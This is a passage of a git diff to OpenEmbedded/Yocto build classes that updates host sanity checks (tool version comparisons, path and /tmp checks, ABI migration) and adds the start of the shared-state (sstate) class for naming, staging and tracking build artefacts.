+ msg += " You could also set BB_NO_NETWORK = \"1\" to disable network\n"
+ msg += " access if all required sources are on local disk.\n"
retval = msg
return retval
@@ -459,23 +427,20 @@ def check_sanity_validmachine(sanity_data):
# Patch before 2.7 can't handle all the features in git-style diffs. Some
# patches may incorrectly apply, and others won't apply at all.
def check_patch_version(sanity_data):
- from distutils.version import LooseVersion
import re, subprocess
try:
result = subprocess.check_output(["patch", "--version"], stderr=subprocess.STDOUT).decode('utf-8')
version = re.search(r"[0-9.]+", result.splitlines()[0]).group()
- if LooseVersion(version) < LooseVersion("2.7"):
+ if bb.utils.vercmp_string_op(version, "2.7", "<"):
return "Your version of patch is older than 2.7 and has bugs which will break builds. Please install a newer version of patch.\n"
else:
return None
except subprocess.CalledProcessError as e:
return "Unable to execute patch --version, exit code %d:\n%s\n" % (e.returncode, e.output)
-# Unpatched versions of make 3.82 are known to be broken. See GNU Savannah Bug 30612.
-# Use a modified reproducer from http://savannah.gnu.org/bugs/?30612 to validate.
+# Glibc needs make 4.0 or later, we may as well match at this point
def check_make_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
try:
@@ -483,31 +448,14 @@ def check_make_version(sanity_data):
except subprocess.CalledProcessError as e:
return "Unable to execute make --version, exit code %d\n%s\n" % (e.returncode, e.output)
version = result.split()[2]
- if LooseVersion(version) == LooseVersion("3.82"):
- # Construct a test file
- f = open("makefile_test", "w")
- f.write("makefile_test.a: makefile_test_a.c makefile_test_b.c makefile_test.a( makefile_test_a.c makefile_test_b.c)\n")
- f.write("\n")
- f.write("makefile_test_a.c:\n")
- f.write(" touch $@\n")
- f.write("\n")
- f.write("makefile_test_b.c:\n")
- f.write(" touch $@\n")
- f.close()
+ if bb.utils.vercmp_string_op(version, "4.0", "<"):
+ return "Please install a make version of 4.0 or later.\n"
- # Check if make 3.82 has been patched
- try:
- subprocess.check_call(['make', '-f', 'makefile_test'])
- except subprocess.CalledProcessError as e:
- return "Your version of make 3.82 is broken. Please revert to 3.81 or install a patched version.\n"
- finally:
- os.remove("makefile_test")
- if os.path.exists("makefile_test_a.c"):
- os.remove("makefile_test_a.c")
- if os.path.exists("makefile_test_b.c"):
- os.remove("makefile_test_b.c")
- if os.path.exists("makefile_test.a"):
- os.remove("makefile_test.a")
+ if bb.utils.vercmp_string_op(version, "4.2.1", "=="):
+ distro = oe.lsb.distro_identifier()
+ if "ubuntu" in distro or "debian" in distro or "linuxmint" in distro:
+ return None
+ return "make version 4.2.1 is known to have issues on Centos/OpenSUSE and other non-Ubuntu systems. Please use a buildtools-make-tarball or a newer version of make.\n"
return None
@@ -527,7 +475,7 @@ def check_wsl(d):
bb.warn("You are running bitbake under WSLv2, this works properly but you should optimize your VHDX file eventually to avoid running out of storage space")
return None
-# Require at least gcc version 6.0.
+# Require at least gcc version 8.0
#
# This can be fixed on CentOS-7 with devtoolset-6+
# https://www.softwarecollections.org/en/scls/rhscl/devtoolset-6/
@@ -536,42 +484,47 @@ def check_wsl(d):
# built buildtools-extended-tarball)
#
def check_gcc_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
build_cc, version = oe.utils.get_host_compiler_version(sanity_data)
if build_cc.strip() == "gcc":
- if LooseVersion(version) < LooseVersion("6.0"):
- return "Your version of gcc is older than 6.0 and will break builds. Please install a newer version of gcc (you could use the project's buildtools-extended-tarball or use scripts/install-buildtools).\n"
+ if bb.utils.vercmp_string_op(version, "8.0", "<"):
+ return "Your version of gcc is older than 8.0 and will break builds. Please install a newer version of gcc (you could use the project's buildtools-extended-tarball or use scripts/install-buildtools).\n"
return None
# Tar version 1.24 and onwards handle overwriting symlinks correctly
# but earlier versions do not; this needs to work properly for sstate
-# Version 1.28 is needed so opkg-build works correctly when reproducibile builds are enabled
+# Version 1.28 is needed so opkg-build works correctly when reproducible builds are enabled
def check_tar_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
try:
result = subprocess.check_output(["tar", "--version"], stderr=subprocess.STDOUT).decode('utf-8')
except subprocess.CalledProcessError as e:
return "Unable to execute tar --version, exit code %d\n%s\n" % (e.returncode, e.output)
version = result.split()[3]
- if LooseVersion(version) < LooseVersion("1.28"):
+ if bb.utils.vercmp_string_op(version, "1.28", "<"):
return "Your version of tar is older than 1.28 and does not have the support needed to enable reproducible builds. Please install a newer version of tar (you could use the project's buildtools-tarball from our last release or use scripts/install-buildtools).\n"
+
+ try:
+ result = subprocess.check_output(["tar", "--help"], stderr=subprocess.STDOUT).decode('utf-8')
+ if "--xattrs" not in result:
+ return "Your tar doesn't support --xattrs, please use GNU tar.\n"
+ except subprocess.CalledProcessError as e:
+ return "Unable to execute tar --help, exit code %d\n%s\n" % (e.returncode, e.output)
+
return None
# We use git parameters and functionality only found in 1.7.8 or later
# The kernel tools assume git >= 1.8.3.1 (verified needed > 1.7.9.5) see #6162
# The git fetcher also had workarounds for git < 1.7.9.2 which we've dropped
def check_git_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
try:
result = subprocess.check_output(["git", "--version"], stderr=subprocess.DEVNULL).decode('utf-8')
except subprocess.CalledProcessError as e:
return "Unable to execute git --version, exit code %d\n%s\n" % (e.returncode, e.output)
version = result.split()[2]
- if LooseVersion(version) < LooseVersion("1.8.3.1"):
+ if bb.utils.vercmp_string_op(version, "1.8.3.1", "<"):
return "Your version of git is older than 1.8.3.1 and has bugs which will break builds. Please install a newer version of git.\n"
return None
@@ -579,7 +532,7 @@ def check_git_version(sanity_data):
def check_perl_modules(sanity_data):
import subprocess
ret = ""
- modules = ( "Text::ParseWords", "Thread::Queue", "Data::Dumper" )
+ modules = ( "Text::ParseWords", "Thread::Queue", "Data::Dumper", "File::Compare", "File::Copy", "open ':std'", "FindBin" )
errresult = ''
for m in modules:
try:
@@ -603,6 +556,24 @@ def sanity_check_conffiles(d):
bb.fatal(str(e))
d.setVar("BB_INVALIDCONF", True)
+def drop_v14_cross_builds(d):
+ import glob
+ indexes = glob.glob(d.expand("${SSTATE_MANIFESTS}/index-${BUILD_ARCH}_*"))
+ for i in indexes:
+ with open(i, "r") as f:
+ lines = f.readlines()
+ for l in reversed(lines):
+ try:
+ (stamp, manifest, workdir) = l.split()
+ except ValueError:
+ bb.fatal("Invalid line '%s' in sstate manifest '%s'" % (l, i))
+ for m in glob.glob(manifest + ".*"):
+ if m.endswith(".postrm"):
+ continue
+ sstate_clean_manifest(m, d)
+ bb.utils.remove(stamp + "*")
+ bb.utils.remove(workdir, recurse = True)
+
def sanity_handle_abichanges(status, d):
#
# Check the 'ABI' of TMPDIR
@@ -619,6 +590,12 @@ def sanity_handle_abichanges(status, d):
f.write(current_abi)
elif int(abi) <= 11 and current_abi == "12":
status.addresult("The layout of TMPDIR changed for Recipe Specific Sysroots.\nConversion doesn't make sense and this change will rebuild everything so please delete TMPDIR (%s).\n" % d.getVar("TMPDIR"))
+ elif int(abi) <= 13 and current_abi == "14":
+ status.addresult("TMPDIR changed to include path filtering from the pseudo database.\nIt is recommended to use a clean TMPDIR with the new pseudo path filtering so TMPDIR (%s) would need to be removed to continue.\n" % d.getVar("TMPDIR"))
+ elif int(abi) == 14 and current_abi == "15":
+ drop_v14_cross_builds(d)
+ with open(abifile, "w") as f:
+ f.write(current_abi)
elif (abi != current_abi):
# Code to convert from one ABI to another could go here if possible.
status.addresult("Error, TMPDIR has changed its layout version number (%s to %s) and you need to either rebuild, revert or adjust it at your own risk.\n" % (abi, current_abi))
@@ -645,14 +622,12 @@ def check_sanity_sstate_dir_change(sstate_dir, data):
def check_sanity_version_change(status, d):
# Sanity checks to be done when SANITY_VERSION or NATIVELSBSTRING changes
# In other words, these tests run once in a given build directory and then
- # never again until the sanity version or host distrubution id/version changes.
+ # never again until the sanity version or host distribution id/version changes.
# Check the python install is complete. Examples that are often removed in
- # minimal installations: glib-2.0-natives requries # xml.parsers.expat and icu
- # requires distutils.sysconfig.
+ # minimal installations: glib-2.0-natives requires xml.parsers.expat
try:
import xml.parsers.expat
- import distutils.sysconfig
except ImportError as e:
status.addresult('Your Python 3 is not a full install. Please install the module %s (see the Getting Started guide for further information).\n' % e.name)
@@ -700,6 +675,23 @@ def check_sanity_version_change(status, d):
if (tmpdirmode & stat.S_ISUID):
status.addresult("TMPDIR is setuid, please don't build in a setuid directory")
+ # Check that a user isn't building in a path in PSEUDO_IGNORE_PATHS
+ pseudoignorepaths = d.getVar('PSEUDO_IGNORE_PATHS', expand=True).split(",")
+ workdir = d.getVar('WORKDIR', expand=True)
+ for i in pseudoignorepaths:
+ if i and workdir.startswith(i):
+ status.addresult("You are building in a path included in PSEUDO_IGNORE_PATHS " + str(i) + " please locate the build outside this path.\n")
+
+ # Check if PSEUDO_IGNORE_PATHS and paths under pseudo control overlap
+ pseudoignorepaths = d.getVar('PSEUDO_IGNORE_PATHS', expand=True).split(",")
+ pseudo_control_dir = "${D},${PKGD},${PKGDEST},${IMAGEROOTFS},${SDK_OUTPUT}"
+ pseudocontroldir = d.expand(pseudo_control_dir).split(",")
+ for i in pseudoignorepaths:
+ for j in pseudocontroldir:
+ if i and j:
+ if j.startswith(i):
+ status.addresult("A path included in PSEUDO_IGNORE_PATHS " + str(i) + " and the path " + str(j) + " overlap and this will break pseudo permission and ownership tracking. Please set the path " + str(j) + " to a different directory which does not overlap with pseudo controlled directories. \n")
+
# Some third-party software apparently relies on chmod etc. being suid root (!!)
import stat
suid_check_bins = "chown chmod mknod".split()
@@ -767,15 +759,14 @@ def check_sanity_everybuild(status, d):
if 0 == os.getuid():
raise_sanity_error("Do not use Bitbake as root.", d)
- # Check the Python version, we now have a minimum of Python 3.4
+ # Check the Python version, we now have a minimum of Python 3.8
import sys
- if sys.hexversion < 0x03040000:
- status.addresult('The system requires at least Python 3.4 to run. Please update your Python interpreter.\n')
+ if sys.hexversion < 0x030800F0:
+ status.addresult('The system requires at least Python 3.8 to run. Please update your Python interpreter.\n')
# Check the bitbake version meets minimum requirements
- from distutils.version import LooseVersion
minversion = d.getVar('BB_MIN_VERSION')
- if (LooseVersion(bb.__version__) < LooseVersion(minversion)):
+ if bb.utils.vercmp_string_op(bb.__version__, minversion, "<"):
status.addresult('Bitbake version %s is required and version %s was found\n' % (minversion, bb.__version__))
sanity_check_locale(d)
@@ -784,6 +775,11 @@ def check_sanity_everybuild(status, d):
if "." in paths or "./" in paths or "" in paths:
status.addresult("PATH contains '.', './' or '' (empty element), which will break the build, please remove this.\nParsed PATH is " + str(paths) + "\n")
+ #Check if bitbake is present in PATH environment variable
+ bb_check = bb.utils.which(d.getVar('PATH'), 'bitbake')
+ if not bb_check:
+ bb.warn("bitbake binary is not found in PATH, did you source the script?")
+
# Check whether 'inherit' directive is found (used for a class to inherit)
# in conf file it's supposed to be uppercase INHERIT
inherit = d.getVar('inherit')
@@ -844,6 +840,10 @@ def check_sanity_everybuild(status, d):
status.addresult("Please use a umask which allows a+rx and u+rwx\n")
os.umask(omask)
+ # Ensure /tmp is NOT mounted with noexec
+ if os.statvfs("/tmp").f_flag & os.ST_NOEXEC:
+ raise_sanity_error("/tmp shouldn't be mounted with noexec.", d)
+
if d.getVar('TARGET_ARCH') == "arm":
# This path is no longer user-readable in modern (very recent) Linux
try:
@@ -857,20 +857,26 @@ def check_sanity_everybuild(status, d):
except:
pass
- oeroot = d.getVar('COREBASE')
- if oeroot.find('+') != -1:
- status.addresult("Error, you have an invalid character (+) in your COREBASE directory path. Please move the installation to a directory which doesn't include any + characters.")
- if oeroot.find('@') != -1:
- status.addresult("Error, you have an invalid character (@) in your COREBASE directory path. Please move the installation to a directory which doesn't include any @ characters.")
- if oeroot.find(' ') != -1:
- status.addresult("Error, you have a space in your COREBASE directory path. Please move the installation to a directory which doesn't include a space since autotools doesn't support this.")
+ for checkdir in ['COREBASE', 'TMPDIR']:
+ val = d.getVar(checkdir)
+ if val.find('..') != -1:
+ status.addresult("Error, you have '..' in your %s directory path. Please ensure the variable contains an absolute path as this can break some recipe builds in obtuse ways." % checkdir)
+ if val.find('+') != -1:
+ status.addresult("Error, you have an invalid character (+) in your %s directory path. Please move the installation to a directory which doesn't include any + characters." % checkdir)
+ if val.find('@') != -1:
+ status.addresult("Error, you have an invalid character (@) in your %s directory path. Please move the installation to a directory which doesn't include any @ characters." % checkdir)
+ if val.find(' ') != -1:
+ status.addresult("Error, you have a space in your %s directory path. Please move the installation to a directory which doesn't include a space since autotools doesn't support this." % checkdir)
+ if val.find('%') != -1:
+ status.addresult("Error, you have an invalid character (%) in your %s directory path which causes problems with python string formatting. Please move the installation to a directory which doesn't include any % characters." % checkdir)
# Check the format of MIRRORS, PREMIRRORS and SSTATE_MIRRORS
import re
mirror_vars = ['MIRRORS', 'PREMIRRORS', 'SSTATE_MIRRORS']
protocols = ['http', 'ftp', 'file', 'https', \
'git', 'gitsm', 'hg', 'osc', 'p4', 'svn', \
- 'bzr', 'cvs', 'npm', 'sftp', 'ssh', 's3' ]
+ 'bzr', 'cvs', 'npm', 'sftp', 'ssh', 's3', \
+ 'az', 'ftps', 'crate', 'gs']
for mirror_var in mirror_vars:
mirrors = (d.getVar(mirror_var) or '').replace('\\n', ' ').split()
@@ -908,6 +914,11 @@ def check_sanity_everybuild(status, d):
mirror_base = urllib.parse.urlparse(mirror[:-1*len('/PATH')]).path
check_symlink(mirror_base, d)
+ # Check sstate mirrors aren't being used with a local hash server and no remote
+ hashserv = d.getVar("BB_HASHSERVE")
+ if d.getVar("SSTATE_MIRRORS") and hashserv and hashserv.startswith("unix://") and not d.getVar("BB_HASHSERVE_UPSTREAM"):
+ bb.warn("You are using a local hash equivalence server but have configured an sstate mirror. This will likely mean no sstate will match from the mirror. You may wish to disable the hash equivalence use (BB_HASHSERVE), or use a hash equivalence server alongside the sstate mirror.")
+
# Check that TMPDIR hasn't changed location since the last time we were run
tmpdir = d.getVar('TMPDIR')
checkfile = os.path.join(tmpdir, "saved_tmpdir")
@@ -997,13 +1008,6 @@ def check_sanity(sanity_data):
if status.messages != "":
raise_sanity_error(sanity_data.expand(status.messages), sanity_data, status.network_error)
-# Create a copy of the datastore and finalise it to ensure appends and
-# overrides are set - the datastore has yet to be finalised at ConfigParsed
-def copy_data(e):
- sanity_data = bb.data.createCopy(e.data)
- sanity_data.finalize()
- return sanity_data
-
addhandler config_reparse_eventhandler
config_reparse_eventhandler[eventmask] = "bb.event.ConfigParsed"
python config_reparse_eventhandler() {
@@ -1014,13 +1018,13 @@ addhandler check_sanity_eventhandler
check_sanity_eventhandler[eventmask] = "bb.event.SanityCheck bb.event.NetworkTest"
python check_sanity_eventhandler() {
if bb.event.getName(e) == "SanityCheck":
- sanity_data = copy_data(e)
+ sanity_data = bb.data.createCopy(e.data)
check_sanity(sanity_data)
if e.generateevents:
sanity_data.setVar("SANITY_USE_EVENTS", "1")
bb.event.fire(bb.event.SanityCheckPassed(), e.data)
elif bb.event.getName(e) == "NetworkTest":
- sanity_data = copy_data(e)
+ sanity_data = bb.data.createCopy(e.data)
if e.generateevents:
sanity_data.setVar("SANITY_USE_EVENTS", "1")
bb.event.fire(bb.event.NetworkTestFailed() if check_connectivity(sanity_data) else bb.event.NetworkTestPassed(), e.data)
diff --git a/meta/classes-global/sstate.bbclass b/meta/classes-global/sstate.bbclass
new file mode 100644
index 0000000000..04539bbb99
--- /dev/null
+++ b/meta/classes-global/sstate.bbclass
@@ -0,0 +1,1390 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+SSTATE_VERSION = "12"
+
+SSTATE_ZSTD_CLEVEL ??= "8"
+
+SSTATE_MANIFESTS ?= "${TMPDIR}/sstate-control"
+SSTATE_MANFILEPREFIX = "${SSTATE_MANIFESTS}/manifest-${SSTATE_MANMACH}-${PN}"
+
+def generate_sstatefn(spec, hash, taskname, siginfo, d):
+ if taskname is None:
+ return ""
+ extension = ".tar.zst"
+ # 8 chars reserved for siginfo
+ limit = 254 - 8
+ if siginfo:
+ limit = 254
+ extension = ".tar.zst.siginfo"
+ if not hash:
+ hash = "INVALID"
+ fn = spec + hash + "_" + taskname + extension
+ # If the filename is too long, attempt to reduce it
+ if len(fn) > limit:
+ components = spec.split(":")
+ # Fields 0,5,6 are mandatory, 1 is most useful, 2,3,4 are just for information
+ # 7 is for the separators
+ avail = (limit - len(hash + "_" + taskname + extension) - len(components[0]) - len(components[1]) - len(components[5]) - len(components[6]) - 7) // 3
+ components[2] = components[2][:avail]
+ components[3] = components[3][:avail]
+ components[4] = components[4][:avail]
+ spec = ":".join(components)
+ fn = spec + hash + "_" + taskname + extension
+ if len(fn) > limit:
+ bb.fatal("Unable to reduce sstate name to less than 255 chararacters")
+ return hash[:2] + "/" + hash[2:4] + "/" + fn
+
+SSTATE_PKGARCH = "${PACKAGE_ARCH}"
+SSTATE_PKGSPEC = "sstate:${PN}:${PACKAGE_ARCH}${TARGET_VENDOR}-${TARGET_OS}:${PV}:${PR}:${SSTATE_PKGARCH}:${SSTATE_VERSION}:"
+SSTATE_SWSPEC = "sstate:${PN}::${PV}:${PR}::${SSTATE_VERSION}:"
+SSTATE_PKGNAME = "${SSTATE_EXTRAPATH}${@generate_sstatefn(d.getVar('SSTATE_PKGSPEC'), d.getVar('BB_UNIHASH'), d.getVar('SSTATE_CURRTASK'), False, d)}"
+SSTATE_PKG = "${SSTATE_DIR}/${SSTATE_PKGNAME}"
+SSTATE_EXTRAPATH = ""
+SSTATE_EXTRAPATHWILDCARD = ""
+SSTATE_PATHSPEC = "${SSTATE_DIR}/${SSTATE_EXTRAPATHWILDCARD}*/*/${SSTATE_PKGSPEC}*_${SSTATE_PATH_CURRTASK}.tar.zst*"
+
+# explicitly make PV to depend on evaluated value of PV variable
+PV[vardepvalue] = "${PV}"
+
+# We don't want the sstate to depend on things like the distro string
+# of the system, we let the sstate paths take care of this.
+SSTATE_EXTRAPATH[vardepvalue] = ""
+SSTATE_EXTRAPATHWILDCARD[vardepvalue] = ""
+
+# Avoid docbook/sgml catalog warnings for now
+SSTATE_ALLOW_OVERLAP_FILES += "${STAGING_ETCDIR_NATIVE}/sgml ${STAGING_DATADIR_NATIVE}/sgml"
+# sdk-provides-dummy-nativesdk and nativesdk-buildtools-perl-dummy overlap for different SDKMACHINE
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_RPM}/sdk_provides_dummy_nativesdk/ ${DEPLOY_DIR_IPK}/sdk-provides-dummy-nativesdk/"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_RPM}/buildtools_dummy_nativesdk/ ${DEPLOY_DIR_IPK}/buildtools-dummy-nativesdk/"
+# target-sdk-provides-dummy overlaps that allarch is disabled when multilib is used
+SSTATE_ALLOW_OVERLAP_FILES += "${COMPONENTS_DIR}/sdk-provides-dummy-target/ ${DEPLOY_DIR_RPM}/sdk_provides_dummy_target/ ${DEPLOY_DIR_IPK}/sdk-provides-dummy-target/"
+# Archive the sources for many architectures in one deploy folder
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_SRC}"
+# ovmf/grub-efi/systemd-boot/intel-microcode multilib recipes can generate identical overlapping files
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_IMAGE}/ovmf"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_IMAGE}/grub-efi"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_IMAGE}/systemd-boot"
+SSTATE_ALLOW_OVERLAP_FILES += "${DEPLOY_DIR_IMAGE}/microcode"
+
+SSTATE_SCAN_FILES ?= "*.la *-config *_config postinst-*"
+SSTATE_SCAN_CMD ??= 'find ${SSTATE_BUILDDIR} \( -name "${@"\" -o -name \"".join(d.getVar("SSTATE_SCAN_FILES").split())}" \) -type f'
+SSTATE_SCAN_CMD_NATIVE ??= 'grep -Irl -e ${RECIPE_SYSROOT} -e ${RECIPE_SYSROOT_NATIVE} -e ${HOSTTOOLS_DIR} ${SSTATE_BUILDDIR}'
+SSTATE_HASHEQUIV_FILEMAP ?= " \
+ populate_sysroot:*/postinst-useradd-*:${TMPDIR} \
+ populate_sysroot:*/postinst-useradd-*:${COREBASE} \
+ populate_sysroot:*/postinst-useradd-*:regex-\s(PATH|PSEUDO_IGNORE_PATHS|HOME|LOGNAME|OMP_NUM_THREADS|USER)=.*\s \
+ populate_sysroot:*/crossscripts/*:${TMPDIR} \
+ populate_sysroot:*/crossscripts/*:${COREBASE} \
+ "
+
+BB_HASHFILENAME = "False ${SSTATE_PKGSPEC} ${SSTATE_SWSPEC}"
+
+SSTATE_ARCHS_TUNEPKG ??= "${TUNE_PKGARCH}"
+SSTATE_ARCHS = " \
+ ${BUILD_ARCH} \
+ ${BUILD_ARCH}_${ORIGNATIVELSBSTRING} \
+ ${BUILD_ARCH}_${SDK_ARCH}_${SDK_OS} \
+ ${SDK_ARCH}_${SDK_OS} \
+ ${SDK_ARCH}_${SDK_ARCH}-${SDKPKGSUFFIX} \
+ allarch \
+ ${SSTATE_ARCHS_TUNEPKG} \
+ ${PACKAGE_EXTRA_ARCHS} \
+ ${MACHINE_ARCH}"
+SSTATE_ARCHS[vardepsexclude] = "ORIGNATIVELSBSTRING"
+
+SSTATE_MANMACH ?= "${SSTATE_PKGARCH}"
+
+SSTATECREATEFUNCS += "sstate_hardcode_path"
+SSTATECREATEFUNCS[vardeps] = "SSTATE_SCAN_FILES"
+SSTATEPOSTCREATEFUNCS = ""
+SSTATEPREINSTFUNCS = ""
+SSTATEPOSTUNPACKFUNCS = "sstate_hardcode_path_unpack"
+SSTATEPOSTINSTFUNCS = ""
+EXTRA_STAGING_FIXMES ?= "HOSTTOOLS_DIR"
+
+# Check whether sstate exists for tasks that support sstate and are in the
+# locked signatures file.
+SIGGEN_LOCKEDSIGS_SSTATE_EXISTS_CHECK ?= 'error'
+
+# Check whether the task's computed hash matches the task's hash in the
+# locked signatures file.
+SIGGEN_LOCKEDSIGS_TASKSIG_CHECK ?= "error"
+
+# The GnuPG key ID and passphrase to use to sign sstate archives (or unset to
+# not sign)
+SSTATE_SIG_KEY ?= ""
+SSTATE_SIG_PASSPHRASE ?= ""
+# Whether to verify the GnUPG signatures when extracting sstate archives
+SSTATE_VERIFY_SIG ?= "0"
+# List of signatures to consider valid.
+SSTATE_VALID_SIGS ??= ""
+SSTATE_VALID_SIGS[vardepvalue] = ""
+
+SSTATE_HASHEQUIV_METHOD ?= "oe.sstatesig.OEOuthashBasic"
+SSTATE_HASHEQUIV_METHOD[doc] = "The fully-qualified function used to calculate \
+ the output hash for a task, which in turn is used to determine equivalency. \
+ "
+
+SSTATE_HASHEQUIV_REPORT_TASKDATA ?= "0"
+SSTATE_HASHEQUIV_REPORT_TASKDATA[doc] = "Report additional useful data to the \
+ hash equivalency server, such as PN, PV, taskname, etc. This information \
+ is very useful for developers looking at task data, but may leak sensitive \
+ data if the equivalence server is public. \
+ "
+
+python () {
+ if bb.data.inherits_class('native', d):
+ d.setVar('SSTATE_PKGARCH', d.getVar('BUILD_ARCH', False))
+ elif bb.data.inherits_class('crosssdk', d):
+ d.setVar('SSTATE_PKGARCH', d.expand("${BUILD_ARCH}_${SDK_ARCH}_${SDK_OS}"))
+ elif bb.data.inherits_class('cross', d):
+ d.setVar('SSTATE_PKGARCH', d.expand("${BUILD_ARCH}"))
+ elif bb.data.inherits_class('nativesdk', d):
+ d.setVar('SSTATE_PKGARCH', d.expand("${SDK_ARCH}_${SDK_OS}"))
+ elif bb.data.inherits_class('cross-canadian', d):
+ d.setVar('SSTATE_PKGARCH', d.expand("${SDK_ARCH}_${PACKAGE_ARCH}"))
+ elif bb.data.inherits_class('allarch', d) and d.getVar("PACKAGE_ARCH") == "all":
+ d.setVar('SSTATE_PKGARCH', "allarch")
+ else:
+ d.setVar('SSTATE_MANMACH', d.expand("${PACKAGE_ARCH}"))
+
+ if bb.data.inherits_class('native', d) or bb.data.inherits_class('crosssdk', d) or bb.data.inherits_class('cross', d):
+ d.setVar('SSTATE_EXTRAPATH', "${NATIVELSBSTRING}/")
+ d.setVar('BB_HASHFILENAME', "True ${SSTATE_PKGSPEC} ${SSTATE_SWSPEC}")
+ d.setVar('SSTATE_EXTRAPATHWILDCARD', "${NATIVELSBSTRING}/")
+
+ unique_tasks = sorted(set((d.getVar('SSTATETASKS') or "").split()))
+ d.setVar('SSTATETASKS', " ".join(unique_tasks))
+ for task in unique_tasks:
+ d.prependVarFlag(task, 'prefuncs', "sstate_task_prefunc ")
+ d.appendVarFlag(task, 'postfuncs', " sstate_task_postfunc")
+ d.setVarFlag(task, 'network', '1')
+ d.setVarFlag(task + "_setscene", 'network', '1')
+}
+
+def sstate_init(task, d):
+ ss = {}
+ ss['task'] = task
+ ss['dirs'] = []
+ ss['plaindirs'] = []
+ ss['lockfiles'] = []
+ ss['lockfiles-shared'] = []
+ return ss
+
+def sstate_state_fromvars(d, task = None):
+ if task is None:
+ task = d.getVar('BB_CURRENTTASK')
+ if not task:
+ bb.fatal("sstate code running without task context?!")
+ task = task.replace("_setscene", "")
+
+ if task.startswith("do_"):
+ task = task[3:]
+ inputs = (d.getVarFlag("do_" + task, 'sstate-inputdirs') or "").split()
+ outputs = (d.getVarFlag("do_" + task, 'sstate-outputdirs') or "").split()
+ plaindirs = (d.getVarFlag("do_" + task, 'sstate-plaindirs') or "").split()
+ lockfiles = (d.getVarFlag("do_" + task, 'sstate-lockfile') or "").split()
+ lockfilesshared = (d.getVarFlag("do_" + task, 'sstate-lockfile-shared') or "").split()
+ interceptfuncs = (d.getVarFlag("do_" + task, 'sstate-interceptfuncs') or "").split()
+ fixmedir = d.getVarFlag("do_" + task, 'sstate-fixmedir') or ""
+ if not task or len(inputs) != len(outputs):
+ bb.fatal("sstate variables not setup correctly?!")
+
+ if task == "populate_lic":
+ d.setVar("SSTATE_PKGSPEC", "${SSTATE_SWSPEC}")
+ d.setVar("SSTATE_EXTRAPATH", "")
+ d.setVar('SSTATE_EXTRAPATHWILDCARD', "")
+
+ ss = sstate_init(task, d)
+ for i in range(len(inputs)):
+ sstate_add(ss, inputs[i], outputs[i], d)
+ ss['lockfiles'] = lockfiles
+ ss['lockfiles-shared'] = lockfilesshared
+ ss['plaindirs'] = plaindirs
+ ss['interceptfuncs'] = interceptfuncs
+ ss['fixmedir'] = fixmedir
+ return ss
+
+def sstate_add(ss, source, dest, d):
+ if not source.endswith("/"):
+ source = source + "/"
+ if not dest.endswith("/"):
+ dest = dest + "/"
+ source = os.path.normpath(source)
+ dest = os.path.normpath(dest)
+ srcbase = os.path.basename(source)
+ ss['dirs'].append([srcbase, source, dest])
+ return ss
+
+def sstate_install(ss, d):
+ import oe.path
+ import oe.sstatesig
+ import subprocess
+
+ sharedfiles = []
+ shareddirs = []
+ bb.utils.mkdirhier(d.expand("${SSTATE_MANIFESTS}"))
+
+ sstateinst = d.expand("${WORKDIR}/sstate-install-%s/" % ss['task'])
+
+ manifest, d2 = oe.sstatesig.sstate_get_manifest_filename(ss['task'], d)
+
+ if os.access(manifest, os.R_OK):
+ bb.fatal("Package already staged (%s)?!" % manifest)
+
+ d.setVar("SSTATE_INST_POSTRM", manifest + ".postrm")
+
+ locks = []
+ for lock in ss['lockfiles-shared']:
+ locks.append(bb.utils.lockfile(lock, True))
+ for lock in ss['lockfiles']:
+ locks.append(bb.utils.lockfile(lock))
+
+ for state in ss['dirs']:
+ bb.debug(2, "Staging files from %s to %s" % (state[1], state[2]))
+ for walkroot, dirs, files in os.walk(state[1]):
+ for file in files:
+ srcpath = os.path.join(walkroot, file)
+ dstpath = srcpath.replace(state[1], state[2])
+ #bb.debug(2, "Staging %s to %s" % (srcpath, dstpath))
+ sharedfiles.append(dstpath)
+ for dir in dirs:
+ srcdir = os.path.join(walkroot, dir)
+ dstdir = srcdir.replace(state[1], state[2])
+ #bb.debug(2, "Staging %s to %s" % (srcdir, dstdir))
+ if os.path.islink(srcdir):
+ sharedfiles.append(dstdir)
+ continue
+ if not dstdir.endswith("/"):
+ dstdir = dstdir + "/"
+ shareddirs.append(dstdir)
+
+ # Check the file list for conflicts against files which already exist
+ overlap_allowed = (d.getVar("SSTATE_ALLOW_OVERLAP_FILES") or "").split()
+ match = []
+ for f in sharedfiles:
+ if os.path.exists(f):
+ f = os.path.normpath(f)
+ realmatch = True
+ for w in overlap_allowed:
+ w = os.path.normpath(w)
+ if f.startswith(w):
+ realmatch = False
+ break
+ if realmatch:
+ match.append(f)
+ sstate_search_cmd = "grep -rlF '%s' %s --exclude=index-* | sed -e 's:^.*/::'" % (f, d.expand("${SSTATE_MANIFESTS}"))
+ search_output = subprocess.Popen(sstate_search_cmd, shell=True, stdout=subprocess.PIPE).communicate()[0]
+ if search_output:
+ match.append(" (matched in %s)" % search_output.decode('utf-8').rstrip())
+ else:
+ match.append(" (not matched to any task)")
+ if match:
+ bb.fatal("Recipe %s is trying to install files into a shared " \
+ "area when those files already exist. The files and the manifests listing " \
+ "them are:\n %s\n"
+ "Please adjust the recipes so only one recipe provides a given file. " % \
+ (d.getVar('PN'), "\n ".join(match)))
+
+ if ss['fixmedir'] and os.path.exists(ss['fixmedir'] + "/fixmepath.cmd"):
+ sharedfiles.append(ss['fixmedir'] + "/fixmepath.cmd")
+ sharedfiles.append(ss['fixmedir'] + "/fixmepath")
+
+ # Write out the manifest
+ f = open(manifest, "w")
+ for file in sharedfiles:
+ f.write(file + "\n")
+
+ # We want to ensure that directories appear at the end of the manifest
+ # so that when we test to see if they should be deleted any contents
+ # added by the task will have been removed first.
+ dirs = sorted(shareddirs, key=len)
+ # Must remove children first, which will have a longer path than the parent
+ for di in reversed(dirs):
+ f.write(di + "\n")
+ f.close()
+
+ # Append to the list of manifests for this PACKAGE_ARCH
+
